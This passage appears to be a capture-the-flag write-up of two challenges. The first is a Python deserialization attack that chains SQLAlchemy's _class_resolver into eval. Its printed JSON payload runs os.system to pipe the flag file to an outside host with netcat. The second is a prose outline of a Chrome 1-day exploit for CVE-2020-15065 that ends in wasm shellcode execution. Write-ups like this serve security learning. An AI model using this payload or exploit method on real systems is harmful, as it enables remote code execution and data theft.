Searching for eval and exec inside __call__, we find _class_resolver inside sqlalchemy.orm.clsregistry. This is unavailable due to the use of __slots__, but remote server insists that sqlalchemy.orm.clsregistry does not exist - server must have an older sqlalchemy version where the class resides at sqlalchemy.ext.declarative.clsregistry. In the older versions __slots__ was nonexistent, so this is a possible attack vector.

Now the remaining part is to find calls that would serve as the entrypoint. Noting that req = RecipeCreateRequest(f"{material1},{material2}"), it seems plausible that the server would run res.material.split(','). Send a RecipeCreateRequest object but with material replaced to a different object containing a callable object at split field. Chain this ultimately to call eval and get RCE.

json
{
    "__module__": "__main__",
    "__class__": "RecipeCreateRequest",
    "materials": {
        "__module__": "__main__",
        "__class__": "RecipeCreateRequest",
        "split": {
            "__module__": "sqlalchemy.sql.functions",
            "__class__": "_FunctionGenerator",
            "opts": {
                "__module__": "__main__",
                "__class__": "RecipeCreateRequest",
                "copy": {
                    "__module__": "sqlalchemy.ext.declarative.clsregistry",
                    "__class__": "_class_resolver",
                    "arg": "__import__('os').system('cat flag | nc <REDACTED>')",
                    "_dict": {}
                }
            }
        }
    }
}

Flag: LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}

babychrome

This is 1-day exploit for CVE-2020-15065. With modifying project zero's POC, we can easily get array OOB write primitve. After gaining primitve, we can easliy exploit it by making addrof, fakeobj primitve. By using OOB primitve, we can make target's element pointer to ArrayBuffer's backing pointer, and by modifying ArrayBuffer's backing pointer to rwx wasm memory region, write shellcode in wasm memory to get shell. After gaining shell, just call "cat flag>&0" to get shell.

Flag: LINECTF{Ne0N_GENE512_B4byCHr0Me}